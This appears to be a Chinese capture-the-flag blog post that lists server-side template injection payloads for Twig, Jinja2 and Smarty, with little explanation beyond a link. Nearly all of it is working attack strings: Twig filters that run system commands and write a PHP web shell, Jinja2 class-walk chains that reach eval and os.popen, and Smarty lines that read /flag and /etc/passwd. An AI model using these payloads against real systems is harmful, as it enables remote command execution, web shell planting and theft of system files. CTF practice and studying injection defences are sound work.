[ctf]flask SSTI模板注入payload分类大全

看到一篇很好的文章

原理讲的很清楚

先测试是哪个模板

https://xz.aliyun.com/t/3679

twig

{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

jinjia2

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

py2

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

py3

''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

smarty

{if var_dump(file_get_contents(’/flag’)) }{/if}
{self::getStreamVariable(“file:///etc/passwd”)}